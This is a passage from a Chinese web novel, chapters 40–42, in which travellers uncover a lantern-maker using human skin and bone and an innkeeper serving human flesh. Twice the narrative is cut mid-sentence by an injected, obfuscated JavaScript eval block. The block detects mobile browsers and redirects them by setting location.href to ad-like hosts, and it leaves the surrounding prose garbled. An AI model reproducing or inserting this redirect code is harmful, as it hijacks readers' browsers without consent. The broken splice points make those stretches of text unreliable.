嗯,纯白,美丽,像花一样。 这才是他。 她握着他的手,忍不住亲了一口。 蜻蜓点水,带着冰凉,像一滴水落在波澜无惊的池里,渐渐荡漾开。 他依旧垂眸,看着空空的手心,仿佛握着什么。 “不要再想别的人了,往后只有你我。” “执子之手,与子偕□□沐白头。你答应过我的。” 她将她的手放入了他掌心,微笑着依靠在他肩头。 两人亲密依偎着,如同一对相思连理枝,我们生不同身,死却同时,你中有我,我中有你,水乳交融,连骨同息…… 一滴浓稠的红蜡滚落下来,烛芯焦黑断落,灯壁的画像也蜷缩紧皱,那镜上一对男女的面容扭曲,随着画像折叠成一团,紧黏着滚落在火中,化作最后一点火,接着烟消云散。 赤色的光在女子凝脂般的皮上消退,窗前升起的灰蓝的光重又抚摸过宋璋恬静的睡颜。 她睁开了眼,手心的温暖消失,心里像被剜去了一块,空落落的。 珀色的瞳孔尚未清醒,她怔怔地看着前方,一片烟雾缭绕,迷蒙着她的眼。芍药的香气残留在空气中,她深吸了一口气,感到五脏六腑被拉伸得笔直,没了一丝褶皱。 她蜷缩在床上,五指紧扣绵软的被子,如坠云间,唯有紧紧地抓着,仿佛挽留最后一缕幻梦。 吱呀一声,门推开了。魏无笙走进房间,嫌弃地摆了摆手,烛火并着一股烧焦的气息,烟熏火燎,他开了窗子。 隔着帘幕,女子蜷缩在床边。 他止步帘前,“还不打水来洗漱梳发?” 冷风吹得她一个激灵,眼神渐渐清明,心仍悸动着。 她握着他的头发,梳到滞结处,便抓住发尾,刮猪毛一般用力地刮着。断裂的发丝碴碴地响,男子皱了皱眉,看向镜中。 “你若不愿意,契约随时可以作废。” 她敛了神情,微笑,“为郎君梳头,是我的福分。” 魏无笙嗤了一声,指挥她替自己梳洗穿衣,扣好最后一粒扣子。 “三郎,好了没,办完王冕的事我们还有正事要干呢,你……” 李裕推门进来,愣了愣。 “哎……哎呀哎呀……” 他古怪地扫过他们两人,又迅速关上门。 砰地一声,两人走下楼来,带着众人的注视,看过之后,又统一扭过头吃饭聊天。 魏无笙看众人都吃得差不多了,留了两碗面给他们。 宋璋刚端起碗,魏无笙道,“她手脚太慢,耽搁了好长时间,我们就不吃了,王兄与夫人分离良久,理当先去找到夫人,然后带着我的书信回陈丰。” 李裕手里的汤匙当啷一声,落在了碗缘。 姚术清咳了两声,“既然如此,那就随王兄过去吧。” 十年未到,街道改换了面貌,王冕凭着记忆在小巷中穿梭,只是走了许久也找不到家中所在。 几个浣衣回家的妇女一边聊着,一边打量着那一群徘徊的陌生男女。 一个妇人路过他时多看了几眼,似乎有些恍惚。 擦肩而过后又忽而回转过来,“哎,你是王冕吗?” 王冕闻言看去,有些讶异,他并不认得这女人。“娘子认得我?” “怎么不认得。我是桂芳啊。” 似乎看他有些迷茫,女子道,“就是你家后门正对的那家,我家那口子是卖鱼的。” 王冕假装回忆起来,“我记得了,娘子,可知道我家娘子现在何处?” 女子道,“哟,你还知道你有个娘子呢,做什么生意一去就是十年,留下这孤儿寡母的多可怜呐……” 李裕眼见女子就要继续衍说开来,忙道,“是啊是啊,您知道那小娘子在哪儿吗?” 女子道,“就在原来那个巷口,没搬走。你们跟我来吧。” 桂芳领着他们七转八转到了一个巷口,青灰的高墙,灰扑扑地,昨夜下了一夜的雨,石墙与地砖似乎浸出一道裂缝。 青苔格外碧绿,像停歇在湿腥泥土上绿蝇的那双眼睛,黑色的罗网交织密布,成就那反着鳞光的亮。 看着这石墙,她觉得有些熟悉,抬头望去,一排尖利的瓦片插在墙头,中间毛绒绒地茂密,绿叶丛中,一条浑身张开鳞甲的火龙从墙后垂趴下来,吐出满墙艳丽。 是红木香,艳丽鲜红的外边,红得可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126851|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滴出血,香甜的气息带着残雨的潮湿,与微风萦绕着他们。 养得这样肥艳的花,石阶前圆润光滑,可以看出女主人的慧心与勤劳。 桂芳挎着篮子,敲了敲门,“珺娘,开门,是我。” 等了一会,一阵轻快的脚步传来,“你是谁?” 是一个男童的声音。 桂芳笑道,“我是你桂芳姨,你娘呢?快叫她出来,你爹回来了。” 里面静默了一瞬,男孩的声音突然带了怒气与厌恶,“他不是早就死了吗?我没有爹,我也不要爹,让他不要打扰我们,你们走!快滚开!” 大门重重地关上,似乎还加了一道门栓。 众人四目相对,王冕的神情似乎有些低落,不知所措。姚术拍了拍他肩膀,以作安慰。 桂芳有些无奈,“这孩子,你不要你爹,要你娘怎么办?她每天带着你爹的画像出去找人,安平郡的每一寸她都走遍了,供你读书,供你吃饭,你也念念她的辛苦。乖孩子,快把门打开,你就真不想见见你爹?” 话音方落,一块石头从门里砸了出来,正落在桂芳脚下。 “哎呦,这小鬼,平时最听话的!”她咒骂着,忙退后一步躲开了。 李裕看王冕脸色不好,打哈哈道:“孩子嘛,不懂事儿。王兄别放在心上,等回了陈丰,让三郎给你在府里置办一处大院子,好好补偿他们。” 桂芳闻言再度打量了李裕和沉默的魏无笙一眼,眼神里带着好奇,“哦哟,这是你们大东家啊,做大生意啦?珺娘也算是苦尽甘来了,你是不知道她有多想你。 她家那个哥哥嫂子一大家天天来家里要债的,还有你那些朋友,家里砸东砸西,天天噼里啪啦的。也是后来看你实在是没有回来,罢了手,后来珺娘做了点手艺活,每天带着浩儿……” “芳姐,家里来这么多人啊。” 桂芳说着,一道声音从后面传来,众人齐齐回过头。只见一个女子手里拎着一条猪肉,一把小青菜,穿着一身青灰色裙衫,挽一个低髻,柔柔地笑看着桂芳。 她目光从众人身上扫过,却又猛地一震,再度看向了那个青胡满脸的男子。 虽然过了十年,那张白净的脸被风沙太阳照得变了颜色,杂乱的眉压在略松垮的眼上,两颊已然凹陷,瘦了,头发也长了。 唯有那双眼睛,岁月流转,画卷已然泛黄,唯有那双眼与画上的眉眼完全融合。 她粗糙的指腹摸了摸画像上的眼睛,将它收了起来。 温如珺扶着案桌,踩着长凳下来,将画卷收到了匣中。 王冕低着头,悄悄用手指擦了擦眼,画像上的眼睛被泪水洇湿,浮起一层浊水。他拿衣袖粘湿,随着其他与他面孔一样的画像放进了匣中。 狭窄的内室有三四个这样的大匣子,一样的画,或新或旧,从他失去消息的那一日起,积攒到如今,妻子怕忘了他的面孔,在一次次描摹中,刻画回忆,画在了心底。也怕众人忘了他的存在,每日去买菜的时候带着新作的画像去酒楼一个个询问,带着希望去,揣着失望回,日复一日,年复一年。 已经十年了。他是个极粗爽又讲男子气的人,此刻看着这满屋画像,摸着妻子那双粗糙的手,当着众人的面,忍不住像个孩子一样抱住了她。 感激,愧疚,泪如雨下。 “我在你从前练武的那间耳房做灯笼,画扇面,做些小玩意儿,以此为生。邻居们都晓得我艰难,时常照顾,夫君不必担心。” 温如珺安慰着王冕,当着众人,似乎也有些脸红,将头低了下去。 一缕青丝从她鬓角落下,顽固地摊开在白皙清瘦的面上。 这侧影…… 宋璋皱着眉,深深看着那女子,灯笼……扇面……青石墙…… 记忆忽然清晰起来,闪电般浮现心头。是她,昨夜卖灯笼的那个女人。 40. 惊梦 晚饭时温如珺坚持给他们亲自下厨,天气不错,院子里的花格外香。白日看见的那面墙后果然种了满墙的红木香,见宋璋目光停留在花上,魏无笙赞道:“这花养的格外地好,温娘子有一双巧手,蕙质兰心,是王兄的福气。” “乡野妇人闲来无事作趣罢了,她从前也爱摆弄这些,花了几两银子从贩子手里购来,平白耽误许多功夫,没想到我走后这些野花开得更盛了。” 王冕对这些花没什么兴趣,看着只觉碍眼,一面招呼众人在院子里摆好的桌前坐下。蔬菜已经洗净备好,王冕拿了几个铁签烤着。 温如珺在准备肉菜,一双细瘦的手臂运斤成风,颇为娴熟地斩断了肉上的筋膜,骨肉瞬间分离,浑圆的砧板咔嚓作响,她抓起一把骨头扔在了一边的盆里。粉红可爱的猪肉,筋膜一扯,便撕下一块乳白的纱一般的筋膜,好似牛乳一般。一块一块堆积在一起,放在骨头旁边。 宋璋道:“王大哥谦虚了,温娘子这双手既能养的一手好花,又能作得一手好画,颜色、笔法,笔笔传神,与大家不遑多让,岂是乡野妇人可比。” “宋娘子谬赞了,什么大家不大家啊,不过我那老泰山倒确实是作画的画师,陪嫁的时候陪了好些画儿啊颜料啊,不过我也看不懂,后来出了事,就都卖了。” “温娘子一定很难过吧。” 宋璋看向温如珺,她正在剖一块鸡心,砍骨头的刀口有些钝了,她在磨刀石上滋滋地磨了,清水一冲,擦拭干净,而后抵在鸡心边,右手按着肉,左手推着刀,横刀缓缓进入,像在切割一块精美的艺术品。 鸡油和杂乱的血管那么一划,瞬时剥落下来,往前边的墙根一扔,被那群红花绿叶争相吞食,化作了上好的肥料。 她一串一串地将鸡心串进锋利的签子里,温婉地笑着,“不过是些死物,有什么难过的,人要是真没了,那才叫难过。夫君有难,做妻子的岂能不帮,姚郎君是夫君的好友,我自然要倾尽全力帮他。宋娘子也是女子,一定也懂我的心意的。” 宋璋说,“我懂的。” 魏无笙面色带了些许嘲讽,她懂得什么? 夫君有难,做妻子的岂能不帮...... 这不是他的道理,也不该是她的。她也曾做过他的妻,那么小的妻,少年夫妻,更为可贵。 他生着病,不能动了,所以她向往外面的世界,向往他触摸不到的阳光。她想要什么他都给她。 可是他做什么她都不能满意,只要倾力相对就会得到她的心?对这个白眼狼而言并非如此。 她想要什么,在做什么,简直匪夷所思,他猜不透。 反倒是把一颗心全给了另一个处处约束她的男子,倾力以对的人是他...... 同样是丈夫,一样的妻子,她的爱却不能分得均匀。 只是凭她的喜好罢了,可是喜好是那姓舒的?不能理解。 “温娘子说的是寻常女子,知书识礼,仁善贤惠。可有些女子,见了新欢忘了旧爱,为了新欢处处算计,务必要摆脱旧爱,乃至要谋死丈夫。若是遇见这样的妻子,你们说,该当如何?” 李裕闻言默默转过脸,大口吃着手里的烤串,又来了......他可不掺和这事。 姚术道:“若只是算计脱身倒也未尝不可,给了她嫁妆资产,放了她解脱便是。若是要谋人性命,便不可轻视了,这女子心思毒辣,全不顾惜夫妻情谊,理当捉了她见官,送她和那奸夫进了大狱,自此夫妻恩断义绝。” 宋璋看了一眼魏无笙,“夫妻情谊也得有情谊才算夫妻,若是那丈夫先头便哄骗欺瞒在先,算计欺负在后,妻子全无一日舒心,一丝畅快,偏偏解脱不得。走投无路,忍无可忍,那也不过是无奈自保之举。” 王冕道:“倒也确实不可一概而论,夫妻两个若过不下去了,只当商量和离,或是回娘家,或是改嫁,我王某都必定归还嫁资,并添妆一份,送她出门。毕竟是多年的夫妻,不好再做红眼对头的。” 魏无笙似笑非笑地看了一眼宋璋,“王兄倒是豪爽,我这人心眼小,若这女子落到我手里,我定然要叫她生死不能,脱胎换骨。” 宋璋浑身一凉,离魏无笙远了一些。 温如珺抓起串好的肉放在炉子上,笑道:“魏郎君这说的是谁呢?” 粉白的肉不一会儿渗出金黄的油脂,滴在炭火上飘香作响。李裕走来往魏无笙手里塞了一把烤蒜,“他说他一个朋友,一个朋友,哈哈。” 李裕有些担心魏无笙的状态,他最近对那个女子越来越关注了,若真生了情,那往后要怎么取她的眼。 对猎物动情,无异于自设罗网。 “你打算什么时候送她走?就一直这么让她跟着?” 魏无笙亮出了耳后的那颗痣,“我和她结了子母契。” “你疯了?你把命交到一个女子手上,如果她出了事,你也不会有命在!你不是对我说过她的狠毒吗,你知道怎么还和她结契?” 他是要魏无笙哄着她,可没要他把自己搭进去。梁王的人本就虎视眈眈,现在好了,保护他一个不够,又多了一个麻烦。 “她给你吃什么迷魂药了?” 魏无笙道,“记得梁王好美人,数年前因为一个女子心神不宁,大病一场。” “你别转移话题啊,这咒快解开,不是闹着玩的。” “那个女子的画像和她有六七分相似。” 李裕回想起来,似乎确实有这么一回事,只是长相……他记不清了。他并不信任魏无笙的说辞,“你别告诉我你要把她献给梁王,他可不是傻子。” “自然,要训练一番,何况她不是有魅妖的妖丹吗?我们取不出来,总该发挥点作用。不然白吃白喝,抓她不是为享福来的……” 魏无笙说得煞有介事,李裕只是冷笑,“但愿真是如此,若还存了其他心思,我劝你趁早收手,这女人是个祸根,迟早反咬一口,连累你我。” “阿嚏——” 温如珺抱着那盆花,微皱着眉头关上了窗子,她将花盆在桌上放下,趿着鞋子关上了门。 一双大手从身后搂住了她,接着开始解她的衣扣。她抓住了他的手,挣脱开来。 王冕道,“怎么了?” 温如珺道,“一身的肉油臭,还没洗澡呢。” “没事儿,待会儿洗吧。” 粗糙的指腹伸进了她滑腻的肌肤上,她猛地躲开,对着床下吐了起来。 王冕愣了愣,“你怎么了?” 温如珺道,“吃了太多肉,不克消化。” 王冕倒了一杯温水给她,随意抚弄了两下她的背,温如珺道,“睡吧,夫君。” 王冕没了兴致,也和她同枕睡了。 布谷——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15131855|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>布谷鸟的声音从窗外响起,温如珺看了一眼身侧的男人,睡得正熟。 她下了床,走到窗前撑开了窗子,男人从里面爬了出来。 “不是叫你别过来吗?” 她皱了眉,一边推他往屏风后走,试图避开床上男人的视线。 他闻到了陌生男人的味道,黑暗中,他忽然抱住了她伸手去探向内,她一步步踉跄着往后退,屏风后的几案被推得滋滋响。 她有些恼怒地推开这人,给了他一巴掌,低声呵斥,“发什么疯,会吵醒他的!” 脸上火热热的,他清醒了些许,怒火尚未平息。“吵醒他又怎样,他离家这么多年,抛弃你们母子,活着还不如死了。现在还好意思回来,再说,你千日还答应要嫁给我的!” “我不会嫁给你的。”温如珺道,“他才是我夫君,他只要一日没死,我就一日是他的人。” “珺娘,你清醒点吧,他有什么好的?你跟了我,我会把你和浩儿照顾得很好……” “你别说了,无论你说什么我也还是那句话,你走吧,若被他发现,我也没脸见人了。” 她转过身去,掩面垂泣。男人忽而拉住了她,似乎下定了决心,“有什么没脸有脸的,我今日就要把话说明白,前儿说得好好的,连浩儿都应了,今日只为了他来,就要反悔!他凭什么?” “你别去。”她扯住他向后倒,却还是抵不过他力气,“你若叫他知道,我便立时去死!” 她抓住了桌上一支金钗,抵在喉间,哗然,屏风栽倒,发出一声巨响。 他看着女子泪盈满眶,哽咽了喉咙。 “珺娘,怎么了?” 王冕被这巨响惊醒,一片漆黑,一摸,枕边人已空空。他一边摸索着下床,一边点了灯。 珺娘眼睛有些湿润,似乎被屏风砸到脚,他帮她扶起了这大件,走去夜壶方便了。 风一吹,灯烛又灭了,他口中嘟囔着走到窗前,这风可真大。 低头时,目光落在了墙边几个灰印上。 他想了一会,关上了窗子。“睡吧珺娘,别管它了。” 风声在窗外哭嚎,如厉鬼一般。宋璋失眠,睁着眼睛看着帐顶,漆黑一片,什么也看不到,又闭上了眼睛,脑袋里在思索。 她从这里想到那里,一刻也停不下来,念头在脑袋里跑累了。于是想到舒玄礼,做个他的梦吧,如果他在某个地方,知道她也在想他,那就给她托个梦。 就这么想了一会儿,什么图像也没有,黑乎乎的一片,又变成红色、绿色……脑仁儿有些疼,心口一阵扑通扑通的痒。 想要些什么东西填充塞进她的脑中。 她抓紧了手边的被褥,绵软,结实的,仿佛还带着些许芍药的香气,她用力深吸一口气,只是淡淡的空气,无色无味,冷到肠胃里…… 她不自觉地靠近了幽微的烛火,越来越暗,越来越暗,天渐渐地白了。 她眼中的黑色变为橙红色,眼皮挤得更紧了,她忽而坐起身,靠在床背上,呼出一口浊气。 还是痒,对他的思念,像有一条虫在啃噬她的心,在骨头缝里钻来钻去,摩擦发热。她出了一身汗。 没有他的夜,已然难挨到无法入睡了。 纤手轻抚鸳鸯锦,空席簟冷,随年华几番轮转。 离人复归,眼儿相对,一种心绪,两样闲愁。 41. 人皮灯 王冕家的小院只有三间房可以住人,王冕夫妻睡了一间,宋璋一间,魏无笙李裕姚术还有王浩共一间,姚术夜里呼噜打得震天响,吵得魏无笙不得安宁。 夜半,李裕黑着眼圈坐在桌前卜了一卦。下一个碎片的的确确就在安平郡,而且离他们很近。 “我们还有些事情要办,三郎的手书和钱钞都在这信里,你们也可以收拾停当自往陈丰去。” 李裕喂好了马,一面捧着白粥,一面就着咸菜啃了口馒头。温如珺天不亮就起来在厨房忙活,揉面,醒面,斩料,上锅…… “寒舍鄙陋,实是招待不周。”温如珺似乎有些不好意思。 魏无笙客气道:“哪里的话,温娘子手巧,我们都许久没吃过这样好的家常菜了。等日后回了陈丰再会面。” 依旧是李裕在外驾车,几滴湿润落在了他鼻尖。又下雨了,而且还有逐渐变大的趋势。 “喂,又下雨了。” 车内魏无声应了一声,李裕翻了个白眼,“哦什么?你来驾车。” “在前面找处酒店住下吧。” 反正也是要在安平郡落脚的,魏无笙道。 宋璋道:“你们在安平还有什么事?” “主人的吩咐照办就是,主人没有吩咐过的,问得多了......” 他笑了笑,做出一个抹脖子的动作。宋璋暗暗白他一眼,转过头去看窗外的雨。 街上的人见要下雨都各自关闭门户回去了,空空荡荡,只剩下马车行径的声音。 当——当——当——当—— 宋璋的目光落在檐下杀鱼的老板身上,手起刀落,按住鱼身,刀侧慢推,斩!斩断鱼尾,刮去鱼鳞,掏出鱼泡,往盆里一扔。 他注意到投向她的目光,抬起头来笑道,“唉,客官又见面了,要回去了?” 李裕停下了马,一手护着额前,一边道,“是你啊,不回去不回去,正好,在你这儿歇着吧。” 老板见忽然来了生意,顿时喜笑颜开,手在衣服上擦了擦就唤伙计倒茶接马。 宋璋打着伞,拎着行李跟从魏无笙进门,有些心不在焉。 这人的刀法好熟悉…… 咚——咚—— 后院厨房传来斩肉的声音,一道雨帘隔着,李裕只管擦着身上的雨水,一边抱怨,“这安平的天气真是,雨说下就下。” 老板手里拿着布斤分给大家,“三月中了,正是多雨的时候,不但雨时多水,雨前也多潮,前几天晒得鱼干香肠好多发了霉。” “那你不会拿刀一刮,拿给我们继续吃吧?”李裕打趣道。 “怎么会,小本买卖,生意本就难做,客又少,东西再不真材实料留不住人呐。” 一阵喷香热气飘来,福儿端着一盆热气腾腾的肉片汤上来了。蒜苗煸香肠、红烧鱼块、四喜丸子…… 艳的艳,清的清,各有各的鲜香。 李裕向来也身娇体贵,和魏无笙睡在一处一夜没睡好,又着了冷,此刻看见满桌热饭热菜,顿觉津液生香。 四喜丸子烧得汁浓肉厚,筷子落在中间一夹,晶莹粉嫩的肉水一样地从红浓半酥的表皮内弹出,一股奇香钻入众人鼻尖。 “粉水晶”入口即化,如此鲜甜! 李裕嚼着,有些咯吱咯吱的声音。“还有脆骨,老板,你这手艺不该开旅店,该开酒楼去才是。” 老板笑道,“家常作法,只不过用料实在新鲜而已。丛选肉开始,太肥的不要,太瘦的像嚼棉花,七分瘦三分肥最好。泡足了生姜大蒜,热水浸了去腥……你不知道这肉腥多难去……” 老板说起做肉的过程,显得有些兴奋,“这么着还不够,还得放了八角五香拿调好的秘制酱汁一烧,小火慢炖,又鲜又嫩。” 闻着这鲜甜,宋璋莫名地有些恶心。 同时身体里那股痒意隐隐作祟,像有一只手又轻又慢地抚弄心头。 她的呼吸变得有些重,五指紧紧抓住了长凳边缘,疼痛只能暂缓,深处的渴望随着转瞬即逝的痛疯狂踊跃。 魏无笙余光瞥见了女子的异常,“喂,怎么了?” 他的声音让她冷静了些许,抑制下那股躁动,她忽地站起身拿了伞就往外走。 “我的玉佩落在王冕家了。” 再买一个就是,他正想说这话,她已停在门口撑开了伞,“玄礼送我的。” 他看着她离开,雨势已经很大,雨帘细密,如同一张铺天大网将他们笼罩在烟雾朦胧中…… “咳——咳——” 魏无笙摆了摆手,一股浓烟充斥在整个狭小的房间内,几乎看不清一切,只能依稀从烟雾缭绕中看见些许微弱的烛光,他寻着光源走了过去,女子倒在床上,闭着眼睛,却能看出神情愉悦。正对着她的前方,一盏走马灯幽幽地转动着,全是那男子的小像,画着艳丽的色彩,打在她沉静的脸上,五光十色…… 他推了推她,推不醒。 于是干脆吹灭了烛光,一缕夭折的残烟夹着尾巴逃进了女子鼻中,她发出一声申吟,似乎全身的毛孔都张开来迎接这香烟。 “宋璋?宋璋?”他拍了拍她的脸,微微的灼热,手心却冰凉。 他皱了皱眉,王冕夫妇都不在家,夜里漆黑一片,院门开着,只有这间屋子闪着灯。女子像吸食了曼陀罗一般,吞云吐雾,意识模糊…… 哪儿来的曼陀罗? 他摸索着走到了窗子边,推开两片窗门,烟气悠悠地飘向门外,携着雨水散入尘土。 眼前逐渐清晰,迷雾散去,他吹亮火折,心中陡然一停。 几案上满是灯笼架子,东倒西歪地落在边上,还有未曾染色的支架,散落在桌上,他定定看去,几只毛笔,染料,还有带着血的森森白骨…… 桌角下靠墙的地方竹木杆架起一排又一排,上面晾着几十张或乳白或发黄的皮子,散发着一股怪异的味道。 他背着她往前走去,伸手一摸,滑腻绵软得如同一条吸血虫迅速钻进了他的身体里,从手指颤栗到心脏,触电一般。 是人皮—— 他环顾这满屋的灯笼皮骨,全是血淋淋的人皮与森森的白骨,血肉与矿石磨成的染料,将墙角的花染成血般红艳。 他在那丛香甜潮腥的红花下挖着,试图找到那些白骨的尸块内脏,却什么也没有。 几十张人皮,几十具尸体,不可能短期化掉,一定藏在了哪里。 那日温如珺剁肉的画面在他脑中浮现,他一边挖着,一边回忆,忽然,他想到了什么。 不在这里,那就在别处,光明正大,理所应当地处理掉这些肉! 他一边刨着土,一边催动心口的灵玉,“李裕!别吃那家酒店的任何东西,现在马上到我这儿来。” “怎么了?什么事啊?”那头的声音醉醺醺的,很低。 忽而传来一声惨叫,他顿时扔了花铲,“李裕?李裕!” 没有回应,他心中一紧,背起宋璋翻身上马,往酒楼疾驰而去。 往日门庭萧条的街上此刻门庭若市,福顺酒楼门前围满了官兵和看热闹的百姓。几个小吏合起手陆陆续续搬了四五只大桶出来,搬上了板车,一股恶臭飘散开。 呕—— 众人捏起了鼻子,“这什么味儿啊!” “人味儿呗。这家店老板是个杀人魔,白天杀人晚上把尸体剁成块,第二天卖给客人吃。” “!呕——呕——” “你怎么了?”“我昨天才在他家买过四喜丸子。” “呕——” 李裕刚要说话,又是一声干呕,几乎要将肠子吐出来。 魏无笙瞥了他一眼,“至于吗?这点腥风血雨都见不了,日后怎为我辅佐大局。” 李裕低着头,不忘出拳打在他肚子上,“你没吃几口就出门了,丸子都我吃了!” 魏无笙捂着肚子轻笑,“要不是我出去了,我们俩都得葬送在那儿,我是你的救命恩人,你不感谢我,还敢对我出手。” 李裕道,“其实我感觉他也不是冲我们来的……” 昨夜魏无笙出门后,他坐在厅中独享美食,忽然看见王冕冒雨而来。 “王兄,你怎么来了?” 王冕从怀中拿出一个布包,摊开放在桌上,“宋娘子的玉佩,珺娘说这物件贵重,打发我赶紧给你们送来。” 李裕一看果然是一块芍药佩,将东西收下,又唤来老板,“老板,再拿幅碗筷,烫壶热酒。” 后院传来应声,“好嘞!” 他邀王冕一块坐下,闲聊了两句,“唉,对了,你怎么知道我们在这儿?” “珺娘说她和这家老板是熟识,之前在这里做过工,下午出去买肉正好路过,看见你们的马车停在这里。” 李裕点了点头,隐隐觉得有哪里不对劲。这个王冕不会是在跟踪他们吧…… 老板端着热酒,拿了碗筷出来了,“两位客官,热酒来了~” 他亲自给他们斟酒,两人喝了一杯又一杯,碰杯时老板正上下酒菜,不慎撞翻,酒和肉油倒在衣袍上。 “对不住对不住,我带您去后面换身衣裳。” 李裕迷迷糊糊间倒在了桌上,袖口一阵响动,他将玉笛拿了出来,“什么事?” 院内忽然传来王冕的一声哀嚎,他快步跑了过去,一颗头骨碌碌滚到了他脚底。老板微笑着拿着一把鲜红的刀朝他劈了来。 玉笛金光一闪,他极速念下咒语,躲开了他的攻击…… “温如珺找到了吗?” 说话间,一个挎着篮子的妇人跑了来,“魏郎君,李郎君?” 李裕一见她起了一身鸡皮疙瘩,“你还敢来?” 温如珺有些疑惑,“郎君何出此言?” 李裕唤来为首的那官兵,“就是这个女人,与这老板合谋杀了王冕。他在店里做人肉生意,她私制曼陀罗膏,用人骨和人皮做灯笼牟利,一对蛇蝎男女。” 温如珺闻言似有惊慌,又在听说丈夫被杀后身形一滞 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她已经泣不成声,众人闻言一阵哗然,都对着温如珺指指点点。 官兵皱了皱眉,“你的意思是你不知道他要杀你夫君?” 温如珺摇了摇头,“我和夫君少年夫妻,有一个十岁的孩儿,他回来告诉我自己已投入陈丰郡公门下,俸禄厚重,我一家团圆,合家欢喜,怎会与人合谋杀他?” 似乎想到了什么,她声音有些颤抖,“何况,还是这等杀人魔头……” 李裕冷笑,“你撇的倒干净,温娘子,你说你不知道沈渭杀人,那你屋子里那些人皮灯笼,都是哪来的?” “什么人皮灯笼?”温如珺眉头微蹙,“我从前在沈渭店里做工,在后厨打下手,后来浩儿读书要用钱,我便想学着做些灯笼自己做生意。沈渭知道了,将店里客人吃剩的骨头,后厨不要的猪皮给我,说是权当绢纸竹木用,还省去一笔买木料绢纸的钱。我看这骨灯样式别致,卖的也好,就低价从他那里买进,高价卖出去,若是不信,可以查他的账本。” 官兵找来账本,的确记着这一进项,“这么说你不知道你家里那些是人皮人骨?” “若是知道,万不敢在那屋子里住着的。” 魏无笙的目光却落在那账本款项上,“五十文一斤骨,十文一张皮,一只灯笼也就是十文的成本……” 他勾了勾嘴角,看着温如珺,“的确成本低廉,可是温娘子卖的价未免也出奇的高,一千文一只的灯笼,温娘子倒是说说,这里面有什么我们见不到的独特之处?” 若是一个独身艰辛带孩子的妇人,心力交瘁,往往只做些便宜灯笼,以量取胜,温如珺明明过得捉襟见肘,甚至从酒楼低价购入废骨做灯,却敢卖出一千钱的高价,这就不能不让人怀疑其中古怪了。 “一千钱?”官兵怀疑地看向她。 温如珺道,“一则是骨灯制作繁琐,工艺比寻常灯笼贵,二则主要是那画贵。我用的染料是我父亲生前给我的嫁妆,他曾经为皇室作画,宝石美玉,黄金白银,悉数碾成粉末,制作成画膏,一罐值千金,你们若不信,找个懂画之人一问便知。” “贵的只是染料而已?”魏无笙道,“恐怕还有你掺在里面的曼陀罗吧?沈捕快,她的染料和蜡烛里放了曼陀罗,可诱人成瘾,使人生幻。” “魏郎君,我知道你和我夫君是朋友,恨我不忠,可也不可如此迁怒污蔑我吧?” “是不是污蔑,沈捕快一查便知。” 幽幽的烛光再度燃起,一缕青烟钻入了沈渭鼻中,他紧皱着眉头,用手挥了挥。 “不是曼陀罗。” 他道,“只是放了些许安神的香片。” “怎么可能?那宋璋现在还在车上睡着呢,都快睡成傻子了。”李裕全然不信这诡异的房子里什么也没有。 沈渭道,“我做捕快也十年了,曼陀罗的味道一闻便知,何况还用净液检验过,确实只是普通的蜡烛。” 虽然不知道郡守为何要他听这几人的吩咐,带他们查案,但这屋子里里外外他都搜查过,除了人皮和骨头,没有别的异常。温如珺说的话没有漏洞,没有证据,所有的怀疑都只能是虚幻。 他道,“此案还需回去细细查勘,诸位都回去吧。温娘子,打扰了,若后续还有事情,我再来找娘子。” 温如珺点点头,一双眼睛肿成了核桃,“我夫君的遗体,不知可能尽早归还?他横死客店,我怕他魂魄惊惶,还是尽早入土为安的好。” 死因明确,有目击证人,又无中毒迹象。尸体留在官府也没多大用处,沈渭应了下来,“一会儿我就让他们抬过来。” 温如珺感激道,“多谢大人。” 李裕冷笑正要说些什么,一回头便对上温如珺的一双眼睛,晶莹的泪水中带着微微的笑意。 快意、得意又畅意。 人生三大乐事,升官,发财,死丈夫。 42. 画灵 再度到王冕家的院门,已是黄纸满地,大门紧紧关闭着,四周嚼舌根的邻居说起他们往日了解到的女人和另一个男人的风月秘闻,他们一面新奇一面带着唾弃,故事的版本众说纷纭。无论信或者不信,男人与女人都一致认同一点:红颜多祸水。 为了这样一个不忠贞的女子,丈夫死了,情夫也死了,她却好好地活着。一个女人害了两个男人,要不说色字头上一把刀呢。 女人的丈夫此刻正深深望着她,还是年轻时的模样,带着万般柔情。 看着她为他烧埋黄金纸,上了三炷香,口中念神佛,眼中含眷恋。 她关起门在家披白挂丧,全身缟素,脸蛋却渐渐圆润起来。 温如珺看了来人一眼,没什么反应,只是有一搭没一搭地往火盆里烧纸,火势大时静静望着,等到即将熄灭又添上几张圆黄的纸,使得火苗维持在一个肥瘦均匀的状态。 “宋娘子是来劝我认罪的吗?”她忽然道。 “我是来找娘子买灯的。” 温如珺的脸上微不可查地出现了一丝笑意,像是找到了同类,“思念的滋味很不好受吧,茫茫人海,偌大世界,哪里都找不到他的身影。唯有在梦中得以寄托相思。” 宋璋想,她说的是王冕吗? 丈夫走了那么多年,杳无音信,温如珺一个人带着孩子必定受尽了苦楚,越是脆弱痛苦时,便越是希望有一个能拯救使得解脱之人。希望越深,怨恨也就越大。 “你恨他,又要思念他。” 未出现时便恨上了,只是夜深人静,无人依托之时这恨又多了几分爱,是对虚空神明的爱,也是对自己的爱。等到王冕出现,虚空化为现实,便是暴烈的恨。 